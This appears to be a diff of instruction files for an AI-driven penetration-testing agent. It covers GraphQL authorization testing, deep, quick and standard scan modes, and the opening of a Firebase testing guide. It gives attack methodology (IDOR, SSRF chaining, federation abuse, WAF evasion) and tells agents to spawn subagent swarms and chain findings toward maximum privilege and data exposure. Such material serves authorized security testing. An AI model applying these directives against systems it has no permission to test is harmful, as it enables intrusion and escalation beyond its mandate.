- CDN/key confusion: responses cached without considering Authorization or variables; manipulate Vary and Accept headers
|
1. **Fingerprint** - Identify endpoints, transports, stack (Apollo, Hasura, etc.), GraphiQL exposure
|
||||||
- Redirects and 304/206 behaviors leaking partially cached GraphQL responses
|
2. **Schema mapping** - Introspection or inference to build complete type graph
|
||||||
|
3. **Principal matrix** - Collect tokens for unauth, user, premium, admin roles with at least one valid object ID per subject
|
||||||
|
4. **Field sweep** - Test each resolver with owned vs foreign IDs via aliases in same request
|
||||||
|
5. **Transport parity** - Verify same auth on HTTP, WebSocket, persisted queries
|
||||||
|
6. **Federation probe** - Test `_service` and `_entities` for subgraph auth gaps
|
||||||
|
7. **Edge cases** - Cursors, @defer/@stream, subscriptions, file uploads
|
||||||
|
|
||||||
## Special Contexts
|
## Validation Requirements
|
||||||
|
|
||||||
### Relay
|
- Paired requests (owner vs non-owner) showing unauthorized access
|
||||||
|
- Resolver-level bypass: parent checks present, child field exposes data
|
||||||
- node(id:…) global resolution: decode base64, swap type/id pairs, ensure per-type authorization is enforced inside resolvers
|
- Transport parity proof: HTTP and WebSocket for same operation
|
||||||
- Connections: verify that filters (owner/tenant) apply before pagination; cursor tampering should not cross ownership boundaries
|
- Federation bypass: `_entities` accessing data without subgraph auth
|
||||||
|
- Minimal payloads with exact selection sets and variable shapes
|
||||||
### Server Plugins
|
- Document exact resolver paths that missed enforcement
|
||||||
|
|
||||||
- Custom directives (@auth, @private) and plugins often annotate intent but do not enforce; verify actual checks in each resolver path
|
|
||||||
|
|
||||||
## Chaining Attacks
|
|
||||||
|
|
||||||
- GraphQL + IDOR: enumerate IDs via list fields, then fetch or mutate foreign objects
|
|
||||||
- GraphQL + CSRF: trigger mutations cross-origin when cookies/auth are accepted without proper checks
|
|
||||||
- GraphQL + SSRF: resolvers that fetch URLs (webhooks, metadata) abused to reach internal services
|
|
||||||
|
|
||||||
## Validation
|
|
||||||
|
|
||||||
1. Provide paired requests (owner vs non-owner) differing only in identifiers/roles that demonstrate unauthorized access or mutation.
|
|
||||||
2. Prove resolver-level bypass: show top-level checks present but child field/edge exposes data.
|
|
||||||
3. Demonstrate transport parity: reproduce via HTTP and WS (subscriptions) or via persisted queries.
|
|
||||||
4. Minimize payloads; document exact selection sets and variable shapes used.
|
|
||||||
|
|
||||||
## False Positives
|
|
||||||
|
|
||||||
- Introspection available only on non-production/stub endpoints
|
|
||||||
- Public fields by design with documented scopes
|
|
||||||
- Aggregations or counts without sensitive attributes
|
|
||||||
- Properly enforced depth/complexity and per-resolver authorization across transports
|
|
||||||
|
|
||||||
## Impact
|
|
||||||
|
|
||||||
- Cross-account/tenant data exposure and unauthorized state changes
|
|
||||||
- Bypass of federation boundaries enabling lateral access across services
|
|
||||||
- Credential/session leakage via lax CORS/CSRF around GraphiQL/Playground
|
|
||||||
|
|
||||||
## Pro Tips
|
|
||||||
|
|
||||||
1. Always diff the same operation under multiple principals with aliases in one request.
|
|
||||||
2. Sprinkle __typename to map types quickly when schema is hidden.
|
|
||||||
3. Attack edges: child resolvers often skip auth compared to parents.
|
|
||||||
4. Try @defer/@stream and subscriptions to slip gated data in incremental events.
|
|
||||||
5. Decode cursors and node IDs; assume base64 unless proven otherwise.
|
|
||||||
6. Federation: exercise _entities with crafted representations; subgraphs frequently trust gateway auth.
|
|
||||||
7. Persisted queries: extract hashes from clients; replay with attacker variables.
|
|
||||||
8. Keep payloads small and structured; restructure rather than enlarge to evade WAFs.
|
|
||||||
9. Validate defenses by code/config review where possible; don’t trust directives alone.
|
|
||||||
10. Prove impact with role-separated, transport-separated, minimal PoCs.
|
|
||||||
|
|
||||||
## Remember
|
|
||||||
|
|
||||||
GraphQL security is resolver security. If any resolver on the path to a field fails to bind subject, object, and action, the graph leaks. Validate every path, every transport, every environment.
|
|
||||||
|
|||||||
@@ -1,145 +1,157 @@
|
|||||||
# DEEP SCAN MODE
|
---
|
||||||
|
name: deep
|
||||||
|
description: Exhaustive security assessment with maximum coverage, depth, and vulnerability chaining
|
||||||
|
---
|
||||||
|
|
||||||
Exhaustive Security Assessment
|
# Deep Testing Mode
|
||||||
|
|
||||||
This mode is for thorough security reviews where finding vulnerabilities is critical.
|
Exhaustive security assessment. Maximum coverage, maximum depth. Finding what others miss is the goal.
|
||||||
|
|
||||||
PHASE 1: EXHAUSTIVE RECONNAISSANCE AND MAPPING
|
## Approach
|
||||||
Spend significant effort understanding the target before exploitation.
|
|
||||||
|
|
||||||
For whitebox (source code available):
|
Thorough understanding before exploitation. Test every parameter, every endpoint, every edge case. Chain findings for maximum impact.
|
||||||
- Map EVERY file, module, and code path in the repository
|
|
||||||
|
## Phase 1: Exhaustive Reconnaissance
|
||||||
|
|
||||||
|
**Whitebox (source available)**
|
||||||
|
- Map every file, module, and code path in the repository
|
||||||
- Trace all entry points from HTTP handlers to database queries
|
- Trace all entry points from HTTP handlers to database queries
|
||||||
- Identify all authentication mechanisms and their implementations
|
- Document all authentication mechanisms and implementations
|
||||||
- Map all authorization checks and understand the access control model
|
- Map authorization checks and access control model
|
||||||
- Identify all external service integrations and API calls
|
- Identify all external service integrations and API calls
|
||||||
- Analyze all configuration files for secrets and misconfigurations
|
- Analyze configuration for secrets and misconfigurations
|
||||||
- Review all database schemas and understand data relationships
|
- Review database schemas and data relationships
|
||||||
- Map all background jobs, cron tasks, and async processing
|
- Map background jobs, cron tasks, async processing
|
||||||
- Identify all serialization/deserialization points
|
- Identify all serialization/deserialization points
|
||||||
- Review all file handling operations (upload, download, processing)
|
- Review file handling: upload, download, processing
|
||||||
- Understand the deployment model and infrastructure assumptions
|
- Understand the deployment model and infrastructure assumptions
|
||||||
- Check all dependency versions against known CVE databases
|
- Check all dependency versions against CVE databases
|
||||||
|
|
||||||
For blackbox (no source code):
|
**Blackbox (no source)**
|
||||||
- Exhaustive subdomain enumeration using multiple sources and tools
|
- Exhaustive subdomain enumeration with multiple sources and tools
|
||||||
- Full port scanning to identify all services
|
- Full port scanning across all services
|
||||||
- Complete content discovery with multiple wordlists
|
- Complete content discovery with multiple wordlists
|
||||||
- Technology fingerprinting on all discovered assets
|
- Technology fingerprinting on all assets
|
||||||
- API endpoint discovery through documentation, JavaScript analysis, and fuzzing
|
- API discovery via docs, JavaScript analysis, fuzzing
|
||||||
- Identify all parameters including hidden and rarely-used ones
|
- Identify all parameters including hidden and rarely-used ones
|
||||||
- Map all user roles by testing with different account types
|
- Map all user roles with different account types
|
||||||
- Understand rate limiting, WAF rules, and security controls in place
|
- Document rate limiting, WAF rules, security controls
|
||||||
- Document the complete application architecture as understood from outside
|
- Document complete application architecture as understood from outside
|
||||||
|
|
||||||
EXECUTION STRATEGY - HIERARCHICAL AGENT SWARM:
|
## Phase 2: Business Logic Deep Dive
|
||||||
After Phase 1 (Recon & Mapping) is complete:
|
|
||||||
1. Divide the application into major components/parts (e.g., Auth System, Payment Gateway, User Profile, Admin Panel)
|
|
||||||
2. Spawn a specialized subagent for EACH major component
|
|
||||||
3. Each component agent must then:
|
|
||||||
- Further subdivide its scope into subparts (e.g., Login Form, Registration API, Password Reset)
|
|
||||||
- Spawn sub-subagents for each distinct subpart
|
|
||||||
4. At the lowest level (specific functionality), spawn specialized agents for EACH potential vulnerability type:
|
|
||||||
- "Auth System" → "Login Form" → "SQLi Agent", "XSS Agent", "Auth Bypass Agent"
|
|
||||||
- This creates a massive parallel swarm covering every angle
|
|
||||||
- Do NOT overload a single agent with multiple vulnerability types
|
|
||||||
- Scale horizontally to maximum capacity
|
|
||||||
|
|
||||||
PHASE 2: DEEP BUSINESS LOGIC ANALYSIS
|
Create a complete storyboard of the application:
|
||||||
Understand the application deeply enough to find logic flaws:
|
|
||||||
- CREATE A FULL STORYBOARD of all user flows and state transitions
|
|
||||||
- Document every step of the business logic in a structured flow diagram
|
|
||||||
- Use the application extensively as every type of user to map the full lifecycle of data
|
|
||||||
- Document all state machines and workflows (e.g. Order Created -> Paid -> Shipped)
|
|
||||||
- Identify trust boundaries between components
|
|
||||||
- Map all integrations with third-party services
|
|
||||||
- Understand what invariants the application tries to maintain
|
|
||||||
- Identify all points where roles, privileges, or sensitive data changes hands
|
|
||||||
- Look for implicit assumptions in the business logic
|
|
||||||
- Consider multi-step attacks that abuse normal functionality
|
|
||||||
|
|
||||||
PHASE 3: COMPREHENSIVE ATTACK SURFACE TESTING
|
- **User flows** - document every step of every workflow
|
||||||
Test EVERY input vector with EVERY applicable technique.
|
- **State machines** - map all transitions (Created → Paid → Shipped → Delivered)
|
||||||
|
- **Trust boundaries** - identify where privilege changes hands
|
||||||
|
- **Invariants** - what rules should the application always enforce
|
||||||
|
- **Implicit assumptions** - what does the code assume that might be violated
|
||||||
|
- **Multi-step attack surfaces** - where can normal functionality be abused
|
||||||
|
- **Third-party integrations** - map all external service dependencies
|
||||||
|
|
||||||
Input Handling - Test all parameters, headers, cookies with:
|
Use the application extensively as every user type to understand the full data lifecycle.
|
||||||
- Multiple injection payloads (SQL, NoSQL, LDAP, XPath, Command, Template)
|
|
||||||
- Various encodings and bypass techniques (double encoding, unicode, null bytes)
|
## Phase 3: Comprehensive Attack Surface Testing
|
||||||
|
|
||||||
|
Test every input vector with every applicable technique.
|
||||||
|
|
||||||
|
**Input Handling**
|
||||||
|
- Multiple injection types: SQL, NoSQL, LDAP, XPath, command, template
|
||||||
|
- Encoding bypasses: double encoding, unicode, null bytes
|
||||||
- Boundary conditions and type confusion
|
- Boundary conditions and type confusion
|
||||||
- Large payloads and buffer-related issues
|
- Large payloads and buffer-related issues
|
||||||
|
|
||||||
Authentication and Session:
|
**Authentication & Session**
|
||||||
- Exhaustive brute force protection testing
|
- Exhaustive brute force protection testing
|
||||||
- Session fixation, hijacking, and prediction attacks
|
- Session fixation, hijacking, prediction
|
||||||
- JWT/token manipulation if applicable
|
- JWT/token manipulation
|
||||||
- OAuth flow abuse scenarios
|
- OAuth flow abuse scenarios
|
||||||
- Password reset flow vulnerabilities (token leakage, reuse, timing)
|
- Password reset vulnerabilities: token leakage, reuse, timing
|
||||||
- Multi-factor authentication bypass techniques
|
- MFA bypass techniques
|
||||||
- Account enumeration through all possible channels
|
- Account enumeration through all channels
|
||||||
|
|
||||||
Access Control:
|
**Access Control**
|
||||||
- Test EVERY endpoint for horizontal and vertical access control
|
- Test every endpoint for horizontal and vertical access control
|
||||||
- Parameter tampering on all object references
|
- Parameter tampering on all object references
|
||||||
- Forced browsing to all discovered resources
|
- Forced browsing to all discovered resources
|
||||||
- HTTP method tampering
|
- HTTP method tampering (GET vs POST vs PUT vs DELETE)
|
||||||
- Test access control after session changes (logout, role change)
|
- Access control after session state changes (logout, role change)
|
||||||
|
|
||||||
File Operations:
|
**File Operations**
|
||||||
- Exhaustive file upload bypass testing (extension, content-type, magic bytes)
|
- Exhaustive file upload bypass: extension, content-type, magic bytes
|
||||||
- Path traversal on all file parameters
|
- Path traversal on all file parameters
|
||||||
- Server-side request forgery through file inclusion
|
- SSRF through file inclusion
|
||||||
- XXE through all XML parsing points
|
- XXE through all XML parsing points
|
||||||
|
|
||||||
Business Logic:
|
**Business Logic**
|
||||||
- Race conditions on all state-changing operations
|
- Race conditions on all state-changing operations
|
||||||
- Workflow bypass attempts on every multi-step process
|
- Workflow bypass on every multi-step process
|
||||||
- Price/quantity manipulation in all transactions
|
- Price/quantity manipulation in transactions
|
||||||
- Parallel execution attacks
|
- Parallel execution attacks
|
||||||
- Time-of-check to time-of-use vulnerabilities
|
- TOCTOU (time-of-check to time-of-use) vulnerabilities
|
||||||
|
|
||||||
Advanced Attacks:
|
**Advanced Techniques**
|
||||||
- HTTP request smuggling if multiple proxies/servers
|
- HTTP request smuggling (multiple proxies/servers)
|
||||||
- Cache poisoning and cache deception
|
- Cache poisoning and cache deception
|
||||||
- Subdomain takeover on all subdomains
|
- Subdomain takeover
|
||||||
- Prototype pollution in JavaScript applications
|
- Prototype pollution (JavaScript applications)
|
||||||
- CORS misconfiguration exploitation
|
- CORS misconfiguration exploitation
|
||||||
- WebSocket security testing
|
- WebSocket security testing
|
||||||
- GraphQL specific attacks if applicable
|
- GraphQL-specific attacks (introspection, batching, nested queries)
|
||||||
|
|
||||||
|
## Phase 4: Vulnerability Chaining
|
||||||
|
|
||||||
|
Individual bugs are starting points. Chain them for maximum impact:
|
||||||
|
|
||||||
PHASE 4: VULNERABILITY CHAINING
|
|
||||||
Don't just find individual bugs - chain them:
|
|
||||||
- Combine information disclosure with access control bypass
|
- Combine information disclosure with access control bypass
|
||||||
- Chain SSRF to access internal services
|
- Chain SSRF to reach internal services
|
||||||
- Use low-severity findings to enable high-impact attacks
|
- Use low-severity findings to enable high-impact attacks
|
||||||
- Look for multi-step attack paths that automated tools miss
|
- Build multi-step attack paths that automated tools miss
|
||||||
- Consider attacks that span multiple application components
|
- Cross component boundaries: user → admin, external → internal, read → write, single-tenant → cross-tenant
|
||||||
|
|
||||||
CHAINING PRINCIPLES (MAX IMPACT):
|
**Chaining Principles**
|
||||||
- Treat every finding as a pivot: ask "What does this unlock next?" until you reach maximum privilege / maximum data exposure / maximum control
|
- Treat every finding as a pivot point: ask "what does this unlock next?"
|
||||||
|
- Continue until reaching maximum privilege / maximum data exposure / maximum control
|
||||||
- Prefer end-to-end exploit paths over isolated bugs: initial foothold → pivot → privilege gain → sensitive action/data
|
- Prefer end-to-end exploit paths over isolated bugs: initial foothold → pivot → privilege gain → sensitive action/data
|
||||||
- Cross boundaries deliberately: user → admin, external → internal, unauthenticated → authenticated, read → write, single-tenant → cross-tenant
|
- Validate chains by executing the full sequence (proxy + browser for workflows, python for automation)
|
||||||
- Validate chains by executing the full sequence using the available tools (proxy + browser for workflows, python for automation, terminal for supporting commands)
|
- When a pivot is found, spawn focused agents to continue the chain in the next component
|
||||||
- When a component agent finds a potential pivot, it must message/spawn the next focused agent to continue the chain in the next component/subpart
|
|
||||||
|
|
||||||
PHASE 5: PERSISTENT TESTING
|
## Phase 5: Persistent Testing
|
||||||
If initial attempts fail, don't give up:
|
|
||||||
- Research specific technologies for known bypasses
|
When initial attempts fail:
|
||||||
|
|
||||||
|
- Research technology-specific bypasses
|
||||||
- Try alternative exploitation techniques
|
- Try alternative exploitation techniques
|
||||||
- Look for edge cases and unusual functionality
|
- Test edge cases and unusual functionality
|
||||||
- Test with different client contexts
|
- Test with different client contexts
|
||||||
- Revisit previously tested areas with new information
|
- Revisit areas with new information from other findings
|
||||||
- Consider timing-based and blind exploitation techniques
|
- Consider timing-based and blind exploitation
|
||||||
|
- Look for logic flaws that require deep application understanding
|
||||||
|
|
||||||
PHASE 6: THOROUGH REPORTING
|
## Phase 6: Comprehensive Reporting
|
||||||
- Document EVERY confirmed vulnerability with full details
|
|
||||||
- Include all severity levels - even low findings may enable chains
|
- Document every confirmed vulnerability with full details
|
||||||
- Provide complete reproduction steps and PoC
|
- Include all severity levels—low findings may enable chains
|
||||||
- Document remediation recommendations
|
- Complete reproduction steps and working PoC
|
||||||
|
- Remediation recommendations with specific guidance
|
||||||
- Note areas requiring additional review beyond current scope
|
- Note areas requiring additional review beyond current scope
|
||||||
|
|
||||||
MINDSET:
|
## Agent Strategy
|
||||||
- Relentless - this is about finding what others miss
|
|
||||||
- Creative - think of unconventional attack vectors
|
After reconnaissance, decompose the application hierarchically:
|
||||||
- Patient - real vulnerabilities often require deep investigation
|
|
||||||
- Thorough - test every parameter, every endpoint, every edge case
|
1. **Component level** - Auth System, Payment Gateway, User Profile, Admin Panel
|
||||||
- Persistent - if one approach fails, try ten more
|
2. **Feature level** - Login Form, Registration API, Password Reset
|
||||||
- Holistic - understand how components interact to find systemic issues
|
3. **Vulnerability level** - SQLi Agent, XSS Agent, Auth Bypass Agent
|
||||||
|
|
||||||
|
Spawn specialized agents at each level. Scale horizontally to maximum parallelization:
|
||||||
|
- Do NOT overload a single agent with multiple vulnerability types
|
||||||
|
- Each agent focuses on one specific area or vulnerability type
|
||||||
|
- Creates a massive parallel swarm covering every angle
|
||||||
|
|
||||||
|
## Mindset
|
||||||
|
|
||||||
|
Relentless. Creative. Patient. Thorough. Persistent.
|
||||||
|
|
||||||
|
This is about finding what others miss. Test every parameter, every endpoint, every edge case. If one approach fails, try ten more. Understand how components interact to find systemic issues.
|
||||||
|
|||||||
@@ -1,63 +1,64 @@
|
|||||||
# QUICK SCAN MODE
|
---
|
||||||
|
name: quick
|
||||||
|
description: Time-boxed rapid assessment targeting high-impact vulnerabilities
|
||||||
|
---
|
||||||
|
|
||||||
Rapid Security Assessment
|
# Quick Testing Mode
|
||||||
|
|
||||||
This mode is optimized for fast feedback. Focus on HIGH-IMPACT vulnerabilities with minimal overhead.
|
Time-boxed assessment focused on high-impact vulnerabilities. Prioritize breadth over depth.
|
||||||
|
|
||||||
PHASE 1: RAPID ORIENTATION
|
## Approach
|
||||||
- If source code is available: Focus primarily on RECENT CHANGES (git diff, new commits, modified files)
|
|
||||||
- Identify the most critical entry points: authentication endpoints, payment flows, admin interfaces, API endpoints handling sensitive data
|
|
||||||
- Quickly understand the tech stack and frameworks in use
|
|
||||||
- Skip exhaustive reconnaissance - use what's immediately visible
|
|
||||||
|
|
||||||
PHASE 2: TARGETED ATTACK SURFACE
|
Optimize for fast feedback on critical security issues. Skip exhaustive enumeration in favor of targeted testing on high-value attack surfaces.
|
||||||
For whitebox (source code available):
|
|
||||||
- Prioritize files changed in recent commits/PRs - these are most likely to contain fresh bugs
|
## Phase 1: Rapid Orientation
|
||||||
- Look for security-sensitive patterns in diffs: auth checks, input handling, database queries, file operations
|
|
||||||
- Trace user-controllable input in changed code paths
|
**Whitebox (source available)**
|
||||||
|
- Focus on recent changes: git diffs, new commits, modified files—these are most likely to contain fresh bugs
|
||||||
|
- Identify security-sensitive patterns in changed code: auth checks, input handling, database queries, file operations
|
||||||
|
- Trace user input through modified code paths
|
||||||
- Check if security controls were modified or bypassed
|
- Check if security controls were modified or bypassed
|
||||||
|
|
||||||
For blackbox (no source code):
|
**Blackbox (no source)**
|
||||||
- Focus on authentication and session management
|
- Map authentication and critical user flows
|
||||||
- Test the most critical user flows only
|
- Identify exposed endpoints and entry points
|
||||||
- Check for obvious misconfigurations and exposed endpoints
|
- Skip deep content discovery—test what's immediately accessible
|
||||||
- Skip deep content discovery - test what's immediately accessible
|
|
||||||
|
|
||||||
PHASE 3: HIGH-IMPACT VULNERABILITY FOCUS
|
## Phase 2: High-Impact Targets
|
||||||
Prioritize in this order:
|
|
||||||
1. Authentication bypass and broken access control
|
|
||||||
2. Remote code execution vectors
|
|
||||||
3. SQL injection in critical endpoints
|
|
||||||
4. Insecure direct object references (IDOR) in sensitive resources
|
|
||||||
5. Server-side request forgery (SSRF)
|
|
||||||
6. Hardcoded credentials or secrets in code
|
|
||||||
|
|
||||||
Skip lower-priority items:
|
Test in priority order:
|
||||||
- Extensive subdomain enumeration
|
|
||||||
|
1. **Authentication bypass** - login flaws, session issues, token weaknesses
|
||||||
|
2. **Broken access control** - IDOR, privilege escalation, missing authorization
|
||||||
|
3. **Remote code execution** - command injection, deserialization, SSTI
|
||||||
|
4. **SQL injection** - authentication endpoints, search, filters
|
||||||
|
5. **SSRF** - URL parameters, webhooks, integrations
|
||||||
|
6. **Exposed secrets** - hardcoded credentials, API keys, config files
|
||||||
|
|
||||||
|
Skip for quick scans:
|
||||||
|
- Exhaustive subdomain enumeration
|
||||||
- Full directory bruteforcing
|
- Full directory bruteforcing
|
||||||
- Information disclosure that doesn't lead to exploitation
|
- Low-severity information disclosure
|
||||||
- Theoretical vulnerabilities without PoC
|
- Theoretical issues without working PoC
|
||||||
|
|
||||||
PHASE 4: VALIDATION AND REPORTING
|
## Phase 3: Validation
|
||||||
- Validate only critical/high severity findings with minimal PoC
|
|
||||||
- Report findings as you discover them - don't wait for completion
|
|
||||||
- Focus on exploitability and business impact
|
|
||||||
|
|
||||||
QUICK CHAINING RULE:
|
- Confirm exploitability with minimal proof-of-concept
|
||||||
- If you find ANY strong primitive (auth weakness, access control gap, injection point, internal reachability), immediately attempt a single high-impact pivot to demonstrate real impact
|
- Demonstrate real impact, not theoretical risk
|
||||||
- Do not stop at a low-context “maybe”; turn it into a concrete exploit sequence (even if short) that reaches privileged action or sensitive data
|
- Report findings immediately as discovered
|
||||||
|
|
||||||
OPERATIONAL GUIDELINES:
|
## Chaining
|
||||||
- Use the browser tool for quick manual testing of critical flows
|
|
||||||
|
When a strong primitive is found (auth weakness, injection point, internal access), immediately attempt one high-impact pivot to demonstrate maximum severity. Don't stop at a low-context "maybe"—turn it into a concrete exploit sequence that reaches privileged action or sensitive data.
|
||||||
|
|
||||||
|
## Operational Guidelines
|
||||||
|
|
||||||
|
- Use browser tool for quick manual testing of critical flows
|
||||||
- Use terminal for targeted scans with fast presets (e.g., nuclei with critical/high templates only)
|
- Use terminal for targeted scans with fast presets (e.g., nuclei with critical/high templates only)
|
||||||
- Use proxy to inspect traffic on key endpoints
|
- Use proxy to inspect traffic on key endpoints
|
||||||
- Skip extensive fuzzing - use targeted payloads only
|
- Skip extensive fuzzing—use targeted payloads only
|
||||||
- Create subagents only for parallel high-priority tasks
|
- Create subagents only for parallel high-priority tasks
|
||||||
- If whitebox: file_edit tool to review specific suspicious code sections
|
|
||||||
- Use notes tool to track critical findings only
|
|
||||||
|
|
||||||
MINDSET:
|
## Mindset
|
||||||
- Think like a time-boxed bug bounty hunter going for quick wins
|
|
||||||
- Prioritize breadth over depth on critical areas
|
Think like a time-boxed bug bounty hunter going for quick wins. Prioritize breadth over depth on critical areas. If something looks exploitable, validate quickly and move on. Don't get stuck—if an attack vector isn't yielding results quickly, pivot.
|
||||||
- If something looks exploitable, validate quickly and move on
|
|
||||||
- Don't get stuck - if an attack vector isn't yielding results quickly, pivot
|
|
||||||
|
|||||||
@@ -1,91 +1,96 @@
|
|||||||
# STANDARD SCAN MODE
|
---
|
||||||
|
name: standard
|
||||||
|
description: Balanced security assessment with systematic methodology and full attack surface coverage
|
||||||
|
---
|
||||||
|
|
||||||
Balanced Security Assessment
|
# Standard Testing Mode
|
||||||
|
|
||||||
This mode provides thorough coverage with a structured methodology. Balance depth with efficiency.
|
Balanced security assessment with structured methodology. Thorough coverage without exhaustive depth.
|
||||||
|
|
||||||
PHASE 1: RECONNAISSANCE AND MAPPING
|
## Approach
|
||||||
Understanding the target is critical before exploitation. Never skip this phase.
|
|
||||||
|
|
||||||
For whitebox (source code available):
|
Systematic testing across the full attack surface. Understand the application before exploiting it.
|
||||||
- Map the entire codebase structure: directories, modules, entry points
|
|
||||||
- Identify the application architecture (MVC, microservices, monolith)
|
## Phase 1: Reconnaissance
|
||||||
- Understand the routing: how URLs map to handlers/controllers
|
|
||||||
- Identify all user input vectors: forms, APIs, file uploads, headers, cookies
|
**Whitebox (source available)**
|
||||||
- Map authentication and authorization flows
|
- Map codebase structure: modules, entry points, routing
|
||||||
- Identify database interactions and ORM usage
|
- Identify architecture pattern (MVC, microservices, monolith)
|
||||||
- Review dependency manifests for known vulnerable packages
|
- Trace input vectors: forms, APIs, file uploads, headers, cookies
|
||||||
|
- Review authentication and authorization flows
|
||||||
|
- Analyze database interactions and ORM usage
|
||||||
|
- Check dependencies for known CVEs
|
||||||
- Understand the data model and sensitive data locations
|
- Understand the data model and sensitive data locations
|
||||||
|
|
||||||
For blackbox (no source code):
|
**Blackbox (no source)**
|
||||||
- Crawl the application thoroughly using browser tool - interact with every feature
|
- Crawl application thoroughly, interact with every feature
|
||||||
- Enumerate all endpoints, parameters, and functionality
|
- Enumerate endpoints, parameters, and functionality
|
||||||
- Identify the technology stack through fingerprinting
|
- Fingerprint technology stack
|
||||||
- Map user roles and access levels
|
- Map user roles and access levels
|
||||||
- Understand the business logic by using the application as intended
|
- Capture traffic with proxy to understand request/response patterns
|
||||||
- Document all forms, APIs, and data entry points
|
|
||||||
- Use proxy tool to capture and analyze all traffic during exploration
|
|
||||||
|
|
||||||
PHASE 2: BUSINESS LOGIC UNDERSTANDING
|
## Phase 2: Business Logic Analysis
|
||||||
Before testing for vulnerabilities, understand what the application DOES:
|
|
||||||
- What are the critical business flows? (payments, user registration, data access)
|
|
||||||
- What actions should be restricted to specific roles?
|
|
||||||
- What data should users NOT be able to access?
|
|
||||||
- What state transitions exist? (order pending → paid → shipped)
|
|
||||||
- Where does money, sensitive data, or privilege flow?
|
|
||||||
|
|
||||||
PHASE 3: SYSTEMATIC VULNERABILITY ASSESSMENT
|
Before testing for vulnerabilities, understand the application:
|
||||||
Test each attack surface methodically. Create focused subagents for different areas.
|
|
||||||
|
|
||||||
Entry Point Analysis:
|
- **Critical flows** - payments, registration, data access, admin functions
|
||||||
- Test all input fields for injection vulnerabilities
|
- **Role boundaries** - what actions are restricted to which users
|
||||||
- Check all API endpoints for authentication and authorization
|
- **Data access rules** - what data should be isolated between users
|
||||||
- Verify all file upload functionality for bypass
|
- **State transitions** - order lifecycle, account status changes
|
||||||
- Test all search and filter functionality
|
- **Trust boundaries** - where does privilege or sensitive data flow
|
||||||
- Check redirect parameters and URL handling
|
|
||||||
|
|
||||||
Authentication and Session:
|
## Phase 3: Systematic Testing
|
||||||
- Test login for brute force protection
|
|
||||||
- Check session token entropy and handling
|
|
||||||
- Test password reset flows for weaknesses
|
|
||||||
- Verify logout invalidates sessions
|
|
||||||
- Test for authentication bypass techniques
|
|
||||||
|
|
||||||
Access Control:
|
Test each attack surface methodically. Spawn focused subagents for different areas.
|
||||||
- For every privileged action, test as unprivileged user
|
|
||||||
- Test horizontal access control (user A accessing user B's data)
|
|
||||||
- Test vertical access control (user escalating to admin)
|
|
||||||
- Check API endpoints mirror UI access controls
|
|
||||||
- Test direct object references with different user contexts
|
|
||||||
|
|
||||||
Business Logic:
|
**Input Validation**
|
||||||
- Attempt to skip steps in multi-step processes
|
- Injection testing on all input fields (SQL, XSS, command, template)
|
||||||
- Test for race conditions in critical operations
|
- File upload bypass attempts
|
||||||
- Try negative values, zero values, boundary conditions
|
- Search and filter parameter manipulation
|
||||||
- Attempt to replay transactions
|
- Redirect and URL parameter handling
|
||||||
- Test for price manipulation in e-commerce flows
|
|
||||||
|
|
||||||
PHASE 4: EXPLOITATION AND VALIDATION
|
**Authentication & Session**
|
||||||
- Every finding must have a working proof-of-concept
|
- Brute force protection
|
||||||
|
- Session token entropy and handling
|
||||||
|
- Password reset flow analysis
|
||||||
|
- Logout session invalidation
|
||||||
|
- Authentication bypass techniques
|
||||||
|
|
||||||
|
**Access Control**
|
||||||
|
- Horizontal: user A accessing user B's resources
|
||||||
|
- Vertical: unprivileged user accessing admin functions
|
||||||
|
- API endpoints vs UI access control consistency
|
||||||
|
- Direct object reference manipulation
|
||||||
|
|
||||||
|
**Business Logic**
|
||||||
|
- Multi-step process bypass (skip steps, reorder)
|
||||||
|
- Race conditions on state-changing operations
|
||||||
|
- Boundary conditions: negative values, zero, extremes
|
||||||
|
- Transaction replay and manipulation
|
||||||
|
|
||||||
|
## Phase 4: Exploitation
|
||||||
|
|
||||||
|
- Every finding requires a working proof-of-concept
|
||||||
- Demonstrate actual impact, not theoretical risk
|
- Demonstrate actual impact, not theoretical risk
|
||||||
- Chain vulnerabilities when possible to show maximum impact
|
- Chain vulnerabilities to show maximum severity
|
||||||
- Document the full attack path from initial access to impact
|
- Document full attack path from entry to impact
|
||||||
- Use python tool for complex exploit development
|
- Use python tool for complex exploit development
|
||||||
|
|
||||||
CHAINING & MAX IMPACT MINDSET:
|
## Phase 5: Reporting
|
||||||
- Always ask: "If I can do X, what does that enable me to do next?" Keep pivoting until you reach maximum privilege or maximum sensitive data access
|
|
||||||
- Prefer complete end-to-end paths (entry point → pivot → privileged action/data) over isolated bug reports
|
|
||||||
- Use the application as a real user would: exploit must survive the actual workflow and state transitions
|
|
||||||
- When you discover a useful pivot (info leak, weak boundary, partial access), immediately pursue the next step rather than stopping at the first win
|
|
||||||
|
|
||||||
PHASE 5: COMPREHENSIVE REPORTING
|
- Document all confirmed vulnerabilities with reproduction steps
|
||||||
- Report all confirmed vulnerabilities with clear reproduction steps
|
- Severity based on exploitability and business impact
|
||||||
- Include severity based on actual exploitability and business impact
|
- Remediation recommendations
|
||||||
- Provide remediation recommendations
|
- Note areas requiring further investigation
|
||||||
- Document any areas that need further investigation
|
|
||||||
|
|
||||||
MINDSET:
|
## Chaining
|
||||||
- Methodical and systematic - cover the full attack surface
|
|
||||||
- Document as you go - findings and areas tested
|
Always ask: "If I can do X, what does that enable next?" Keep pivoting until reaching maximum privilege or data exposure.
|
||||||
- Validate everything - no assumptions about exploitability
|
|
||||||
- Think about business impact, not just technical severity
|
Prefer complete end-to-end paths (entry point → pivot → privileged action/data) over isolated findings. Use the application as a real user would—exploit must survive actual workflow and state transitions.
|
||||||
|
|
||||||
|
When you discover a useful pivot (info leak, weak boundary, partial access), immediately pursue the next step rather than stopping at the first win.
|
||||||
|
|
||||||
|
## Mindset
|
||||||
|
|
||||||
|
Methodical and systematic. Document as you go. Validate everything—no assumptions about exploitability. Think about business impact, not just technical severity.
|
||||||
|
|||||||
@@ -1,179 +1,211 @@
|
|||||||
# FIREBASE / FIRESTORE — ADVERSARIAL TESTING AND EXPLOITATION
|
---
|
||||||
|
name: firebase-firestore
|
||||||
|
description: Firebase/Firestore security testing covering security rules, Cloud Functions, and client-side trust issues
|
||||||
|
---
|
||||||
|
|
||||||
## Critical
|
# Firebase / Firestore
|
||||||
|
|
||||||
Most impactful findings in Firebase apps arise from weak Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, incorrect ID token validation, and over-trusted App Check. Treat every client-supplied field and token as untrusted. Bind subject/tenant on the server, not in the client.
|
Security testing for Firebase applications. Focus on Firestore/Realtime Database rules, Cloud Storage exposure, callable/onRequest Functions trusting client input, and incorrect ID token validation.
